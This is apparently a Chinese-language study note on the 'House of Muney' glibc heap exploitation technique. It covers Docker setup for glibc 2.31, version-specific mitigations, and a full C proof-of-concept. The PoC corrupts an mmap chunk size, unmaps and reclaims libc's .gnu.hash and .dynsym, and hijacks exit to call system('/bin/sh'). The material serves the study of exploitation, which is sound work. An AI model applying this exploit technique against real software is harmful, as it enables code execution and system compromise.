前置知识

  • 需要了解elf文件结构,以及Linux延迟绑定技术,还有就是在延迟绑定的时候dl_runtime_resolve到底干了什么。
  • 接下来还要知道一点就是,当ptmalloc堆管理器在分配超大内存>128K的时候,会使用mmap这个系统调用向操作系统申请内存,而此内存一般位于libc.so.6相邻的低地址处。
  • 由于在libc.so.6低地址处,所以如果我们能修改该堆块的size位,使其包括了libc.so.6的内存地址,这样我们再释放该空间的时候就会连同libc.so.6的内存也给释放了。当我们将这块内存申请回来的时候就可以对libc.so.6的符号表、哈希表等进行修改,并且伪造一些表或者结构体,从而在进行延迟绑定时,调用ld_runtime_resolve解析函数地址并写入got表的时候会写入我们指定的函数。从而达到利用。这就是house of muney的利用思想。

环境

  • house-of-muney环境还真是难搞,搞了将近一个下午了,记录一下,这里找到了一个更详细的poc。house-of-muneypoc只有特定libc版本的,所以就去搞了一下Docker。在Docker里面编译。瞎折腾半天QAQ

  • 首先先要下载对应的libc文件,去到ubuntu官网下载2.31-0ubuntu9.9 : libc6 : amd64 : Focal (20.04) : Ubuntu

image-20250713181508531

  • 然后再下载另外俩个工具链,点击如下,再下载俩个工具链

image-20250713181558247

image-20250713181703094

  • 之后编写如下dockerfile,使用docker bulit .命令创建Docker镜像
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
FROM ubuntu:20.04

# 将本地 .deb 包拷入容器(你需要在构建目录下有这些文件)
COPY ./libc6_2.31-0ubuntu9.9_amd64.deb /tmp/
COPY ./libc6-dev_2.31-0ubuntu9.9_amd64.deb /tmp/
COPY ./libc-dev-bin_2.31-0ubuntu9.9_amd64.deb /tmp/

RUN apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
libgcc-s1 \
linux-libc-dev \
libcrypt-dev && \
dpkg -i /tmp/libc6_2.31-0ubuntu9.9_amd64.deb && \
dpkg -i /tmp/libc-dev-bin_2.31-0ubuntu9.9_amd64.deb && \
dpkg -i /tmp/libc6-dev_2.31-0ubuntu9.9_amd64.deb && \
rm -rf /var/lib/apt/lists/* /tmp/*.deb
  • 创建完后使用docker run 命令用该镜像创建一个容器。这时候访问libc即可确定libc.so.69.9版本的

image-20250713182110529

  • 接下来我们要使用该容器编译如下poc(实验二中的实验代码),首先我们先要更新包,然后安装gccvim
1
2
3
4
apt-get update
# 注意千万不能输入apt-get upgrade,输入该命令后libc会更新成新的版本
apt-get install gcc
apt-get install vim
  • 接下来使用vim将代码写入到lab1.c文件中

image-20250713182557175

  • 使用gcc编译,编译时需要使用该命令gcc -Wl,-z,lazy -g -o lab1 lab1.c,编译后运行后能getshell

image-20250713182822613

实验

  • 找了好多篇文章,都是使用glibc2.31做的实验,因为glibc2.31的实验比较适合初学者学习house-of-muney的利用。有一下几点原因,在这篇博客都有写House of Muney | Axura,所以实验环境搞的有点头大QAQ

glibc2.31

  • 通过mmap申请到的chunk,这些chunk会紧挨着libc加载区的起始位置。如果能控制这些chunk的内容,就可以覆盖libc中的.gnu.hash.dynsym或者link_map

glibc2.34

  • 一个匿名内存映射的区域[anon] region(0x1000)大小左右被插入在mmap分配的内存和libc基址之间,这就对libc起到一定的保护作用
  • 但是仍然可以通过调用munmap()释放该区域,然后重新映射这块地址,这样就可以继续造成堆重叠。

glibc2.35及之后

  • libc映射区域的前面,有意插入了一个大小为3页(0x3000字节)的保护页
  • 当调用munmap()将一个mmap分配的大块回收给系统时,释放的那块内存很可能还会被再次访问,即free()->munmap_chunk()->__munmap()
  • 通过munmap()释放内存可能会发生段错误,但是这个段错误并不是发生在__munmap()函数的内部,而是发生在返回到free()的过程中,这是因为glibc在返回时尝试访问线程局部存储(TLS),例如通过基于fs寄存器的指针,而这些指针此时已经指向munmap()掉的内存区域
  • 一旦你试图对这些区域执行munmmap(),就会导致段错误

实验一

实验二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
/*
* Title : PoC for House of Muney
* Author : Axura
* Lab : glibc-2.31-0ubuntu9.9 (Ubuntu 20.04)
* Website : https://4xura.com/pwn/heap/house-of-muney/
* Compile : gcc -Wl,-z,lazy -g -o house_of_muney_glibc-2.31 house_of_muney_glibc-2.31.c
* (Some system may apply NOW to pre-resolve all symbols in libc by default,
* So we can use the `-z,lazy` flag in compilation to enable lazy binding)
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

// These offsets are libc-specific
#define PUTS_OFFSET 0x84420
#define SYSTEM_OFFSET 0x52290
#define BITMASK_OFFSET 0x3c8
#define BUCKETS_OFFSET 0xbc8
#define CHAIN_ZERO_OFFSET 0x1b64
#define DYNSYM_OFFSET 0x4070 // .dynsym start
#define EXIT_STR_OFFSET 0x2efb // string "exit" offset in .dynstr, for sym->st_name
#define EXIT_SYM_INDEX 0X87 // 135, true bucket

// Extract from GDB or retrieve in script before unmapped
#define BITMASK_WORD 0xf000028c2200930e
#define BUCKET 0x86 // bucket to start iterate
#define NBUCKETS 0x3f3

// These values are fixed for Elf64_Sym structure in 64-bit system
#define ST_VALUE_OFFSET 0x8
#define ST_SIZE 0x18

// Values of the members in symbol table for hijaced target
#define ELF64_ST_INFO(bind, type) (((bind) << 4) | ((type) & 0x0F)) // Construct st_info from binding and type
#define STB_GLOBAL 1 // "exit" is global symbol
#define STT_FUNC 2 // "exit" is a code object
#define STV_DEFAULT 0 // "exit" is default-visible, globally exported function
#define SHN_EXIT 0x000f // "exit" is defined in section #15
#define SIZE_EXIT 0x20 // size for "exit" instructions is close to 0x20

// Calculated hash for symbol (use new hash method from dl-new-hash.h for latest glibc release)
#define NEW_HASH 0x7c967e3f // dl_new_hash("exit")

uintptr_t leak_libc_base() {
uintptr_t puts_addr = (uintptr_t)puts;
printf("[*] puts@libc = %p\n", (void *)puts_addr);

uintptr_t libc_base = puts_addr - PUTS_OFFSET;
printf("[*] Computed libc base = %p\n", (void *)libc_base);

return libc_base;
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

/* Command string to execute */
char *cmd = mmap((void *)0xdeadb000, 0x1000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
strcpy(cmd, "/bin/sh");

/* House of Muney */
printf("[*] Demonstrating munmap overlap exploitation via mmap chunks\n\n");

printf("[*] Step 1: Allocate a super-large chunk using malloc() → triggering mmap()\n");
size_t *victim_ptr = malloc(0x30000);
printf("[+] Victim chunk allocated at: %p (below libc), size: 0x%lx\n", victim_ptr-2, victim_ptr[-1]);

printf("\n");

puts("[*] Simulated high-to-low memory layout:\n"
" ld.so\n"
" ...\n"
" libc\n"
" victim chunk\n"
" ...\n"
" heap\n");

/*
* - Mappings
* Start End Perm Size Offset File
* 0x555555557000 0x555555558000 r--p 1000 2000 /home/axura/hacker/house_of_muney_glibc-2.31
* 0x555555558000 0x555555559000 rw-p 1000 3000 /home/axura/hacker/house_of_muney_glibc-2.31
* 0x555555559000 0x55555557a000 rw-p 21000 0 [heap]
* mmap chunk ➤ 0x7ffff7d9e000 0x7ffff7dcf000 rw-p 31000 0 [anon_7ffff7d9e]
* Hijack ➤ 0x7ffff7dcf000 0x7ffff7df1000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
* 0x7ffff7df1000 0x7ffff7f69000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
* 0x7ffff7f69000 0x7ffff7fb7000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
*
* - Target libc Internal
*
* 0x00007ffff7dcf350 - 0x00007ffff7dcf370 is .note.gnu.property in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dcf370 - 0x00007ffff7dcf394 is .note.gnu.build-id in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dcf394 - 0x00007ffff7dcf3b4 is .note.ABI-tag in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dcf3b8 - 0x00007ffff7dd306c is .gnu.hash in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dd3070 - 0x00007ffff7de0ea0 is .dynsym in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7de0ea0 - 0x00007ffff7de6f61 is .dynstr in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7de6f62 - 0x00007ffff7de81e6 is .gnu.version in /lib/x86_64-linux-gnu/libc.so.6
*/

printf("[*] Step 2: Corrupt size field of the victim chunk to cover libc parts\n");

size_t libc_overwrite_size = 0x10000; // target region (.gnu.hash/.dynsym)
size_t victim_size = (victim_ptr)[-1];

size_t fake_size = (victim_size + libc_overwrite_size) & ~0xfff;
fake_size |= 0b10; // Preserve IS_MMAPPED bit

victim_ptr[-1] = fake_size;
printf("[+] Updated victim_size chunk size to: 0x%lx\n", victim_ptr[-1]);

printf("\n");

printf("[*] Step 3: Free corrupted victim chunk → triggers munmap on both chunks and libc area\n");

void *munmap_start = (void *)(victim_ptr - 2);
void *munmap_end = (void *)((char *)munmap_start + (fake_size & ~0x7));
printf("[*] munmap will unmap: %p → %p (size: 0x%lx)\n", munmap_start, munmap_end, fake_size);

free(victim_ptr);
printf("[+] Victim chunk has now been freed\n");
printf("[!] .gnu.hash and .dynsym are now unmapped. New symbol resolutions will fail!\n");

/*
* - For mmap chunks, glibc malloc directly calls munmap() on free().
*
* - Unlike normal heap chunks (which become UAF), a munmapped chunk
* is fully returned to the kernel and becomes inaccessible.
*
* - If we try accessing the freed mmap memory, it causes a segfault.
*
* - Our goal is to reclaim this unmapped memory by issuing a new
* malloc() that overlaps the freed area - effectively overlapping
* a new mmap chunk over libc, including .dynsym and .gnu.hash.
*
* - WARNING: Any new dynamically resolved function (like assert(), etc.)
* will crash if its symbol isn't already resolved before the munmap.
* This is because symbol resolution related sections are now GONE.
*
* => Now we will reallocate the freed chunk and write our symbol resolution
* logic on the hijacked sections
*/

printf("\n");

printf("[*] Step 4: Reallocate a larger overlapping mmap chunk to reclaim unmapped area\n");
size_t *overlap_ptr = malloc(0x100000); // large enough to overlap munmapped region

size_t overlap_start = overlap_ptr - 2;
size_t overlap_size = overlap_ptr[-1] & ~0xfff;
size_t overlap_end = overlap_start + overlap_size;

printf("[+] Overlapping chunk start : %p\n", overlap_start);
printf("[+] Overlapping chunk end : %p\n", overlap_end);
printf("[+] Overlapping chunk size : 0x%lx\n", overlap_size);

printf("\n");

printf("[*] Step 5: Leak libc base address, before overwriting our targets on libc mappings\n");
uintptr_t libc_base = leak_libc_base();
printf("[+] libc base: %p\n", libc_base);

printf("\n");

// check if victim chunk, .gnu.hash, .dynsym (higher) overlapped
uintptr_t dynsym_addr = libc_base + DYNSYM_OFFSET;
printf("[*] .dynsym section starts at %p\n", dynsym_addr);
printf("[*] Checking overlap covers .dynsym: [%p → %p)\n", (void *)overlap_start, (void *)overlap_end);

if (!(overlap_start <= dynsym_addr && dynsym_addr < overlap_end)) {
const char *msg = "[!] Overlap does not cover .dynsym - aborting\n";
write(2, msg, strlen(msg));
_exit(1);
}

printf("[✓] We can now rewrite internal glibc sections: .gnu.hash, .dynsym, etc.\n");

printf("\n");

printf("[*] Step 6: Calculate offsets of in-libc target addresses to overwrite\n");
printf(" Here we simulate to write starting from the allocated victim chunk\n");
printf(" So we will calculate the offsets of the targets to the overlapped chunk\n");
printf(" Start writing from the entry at: %p\n", overlap_ptr);

uint64_t write_to_libc_offset = (uint64_t)libc_base - (uint64_t)overlap_ptr;
uint64_t bitmask_word_offset = BITMASK_OFFSET + ((NEW_HASH / 0x40) & 0xff) * 8; // bitmask_word for "exit"
uint32_t bucket_index = NEW_HASH % NBUCKETS; // bucket index for "exit" (0xc4)
uint64_t bucket_offset = BUCKETS_OFFSET + bucket_index * 4; // bucket for "exit"
uint64_t hasharr_offset = CHAIN_ZERO_OFFSET + BUCKET * 4; // hasharr[i] for "exit"

uint64_t bitmask_word_addr = (uint64_t)overlap_ptr + write_to_libc_offset + bitmask_word_offset;
uint64_t bucket_addr = (uint64_t)overlap_ptr + write_to_libc_offset + bucket_offset;
uint64_t hasharr_addr = (uint64_t)overlap_ptr + write_to_libc_offset + hasharr_offset;
uint64_t exit_symtab_addr = (uint64_t)overlap_ptr + write_to_libc_offset + DYNSYM_OFFSET + EXIT_SYM_INDEX * ST_SIZE; // [!] Hijack

printf("[+] bitmask_word addr: %p\n", (void *)bitmask_word_addr);
printf("[+] bucket addr: %p\n", (void *)bucket_addr);
printf("[+] hasharr addr: %p\n", (void *)hasharr_addr);
printf("[+] exit@dynsym addr: %p\n", (void *)exit_symtab_addr);

printf("\n");

/*
* - When glibc is loaded via ld-linux, its .text, .dynsym, .gnu.hash, etc. sections are mapped as:
* .text : r-xp
* .gnu.hash: r--p
* .dynsym : r--p
*
* They are marked read-only in /proc/self/maps
*
* - In House of Muney:
* After the munmap() triggered via free(mmap_chunk) releases parts of the libc mapping (like .gnu.hash, .dynsym),
* a subsequent malloc() (which becomes an mmap() internally) reclaims the same virtual memory range.
* But with read-write permissions!
* Because it's now a fresh anonymous mapping owned by the process, not libc's original read-only mapping.
*
* - So, the new mapping is:
* rw-p (read/write/private)
* Because that's what malloc() requests for data chunks.
*
* => This is the core primitive behind House of Muney.
*/

printf("[*] Step 7: Overwrite glibc's GNU Hash Table related stuff\n");

*(uint64_t *)bitmask_word_addr = BITMASK_WORD;
printf("[+] bitmask_word (%lx) in bitmask[indice] for 'exit' populated @ %p!\n", BITMASK_WORD, bitmask_word_addr);

*(uint32_t *)bucket_addr = BUCKET;
printf("[+] bucket value (%d) in buckets[index] for 'exit' populated @ %p!\n", BUCKET, bucket_addr);

/* Hash will be checked at 2nd loop for the "true" bucket 0x87 of exit
* And it must be - if we write the hash on the location calculated according to bucket (0x86) - it fails
* That's why I describe the index from readelf for "exit" (0x87) is the true bucket
*/
uint32_t hash = NEW_HASH ^ 1;
// *(uint32_t *)hasharr_addr = NEW_HASH ^ 1;
*((uint32_t *)hasharr_addr + 1) = hash;
printf("[+] hasharr value (%d) populated @ %p!\n", hash, hasharr_addr);

printf("\n");

/*
* - Exit symbol table and its offset:
*
* pwndbg> ptype /o $exit_sym
* type = struct {
* 0 | 4 Elf64_Word st_name; // Offset in .dynstr
* 4 | 1 unsigned char st_info; // Symbol type and binding
* 5 | 1 unsigned char st_other; // Visibility
* 6 | 2 Elf64_Section st_shndx; // Section index
* 8 | 8 Elf64_Addr st_value; // Resolved address (Hijack in exploit)
* 16 | 8 Elf64_Xword st_size; // Size of the object (usually 0 for funcs like exit)
*
* total size (bytes): 24
* }
*/

printf("[*] Step 8: Patch [.dynsym] to redirect 'exit' to 'system'\n\n");

typedef struct {
uint32_t st_name; // 0 Offset into .dynstr
uint8_t st_info; // 4 Type and binding
uint8_t st_other; // 5 Visibility
uint16_t st_shndx; // 6 Section index
uint64_t st_value; // 8 Symbol value (resolved address)
uint64_t st_size; // 16 Size of the object
} Elf64_Sym;

Elf64_Sym *exit_symbol_table = (Elf64_Sym*)exit_symtab_addr;

/* Recovery (0xf001200002ef) */
printf("[*] Patching st_name with the offset pointing back to exit@dynstr...\n");
exit_symbol_table->st_name = EXIT_STR_OFFSET;
printf("[+] exit@dynstr → 'exit'\n");

printf("[*] Patching st_info for typing & binding...\n");
uint8_t st_info_val = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC);
exit_symbol_table->st_info = st_info_val; // (0x1 << 4) | 0x2 = 0x12
printf("[+] st_info is now patched as 0x%02x\n", st_info_val);

printf("[*] Patching st_other for symbol visibility...\n");
exit_symbol_table->st_other = STV_DEFAULT; // 0
printf("[+] st_other is now patched as 0x%02x\n", STV_DEFAULT);

printf("[*] Patching st_shndx for telling symbol section index...\n");
exit_symbol_table->st_shndx = SHN_EXIT; // 0x000f
printf("[+] st_shndx is now patched as 0x%04x\n", SHN_EXIT);

printf("[*] Patching st_shndx for telling symbol section index...\n");
printf("[*] Though this is not neccessary to populte in House of Muney\n");
exit_symbol_table->st_size = SIZE_EXIT; // 0x20
printf("[+] st_shndx is now patched as 0x%016lx\n", SIZE_EXIT);

printf("\n");

/* Hijack exit → system */
printf("[*] [HIIJACK] Overwrite st_value in the 'exit' symbol table with offset of system func call\n");
exit_symbol_table->st_value = SYSTEM_OFFSET;
printf("[+] exit@dynsym → system()\n");

printf("\n");

printf(
"[!] Now the exit .dynsym table structures as:\n\n"
" typedef struct {\n"
" uint32_t st_name; // Offset into .dynstr - 0: 0x%x\n"
" uint8_t st_info; // Type and binding - 4: 0x%02x\n"
" uint8_t st_other; // Visibility - 5: 0x%02x\n"
" uint16_t st_shndx; // Section index - 6: 0x%04x\n"
" uint64_t st_value; // Resolved address - 8: 0x%016lx\n"
" uint64_t st_size; // Size of the object - 16: 0x%lx\n"
" } Elf64_Sym;\n\n",
EXIT_STR_OFFSET, st_info_val, STV_DEFAULT, SHN_EXIT, SYSTEM_OFFSET, SIZE_EXIT
);

printf("\n");

printf("[*] Step 9: Trigger symbol resolution for hijacked function\n");
printf("[✓] Calling exit(\"/bin/sh\") → now system(\"/bin/sh\")\n");
exit((uintptr_t)cmd);
}

题目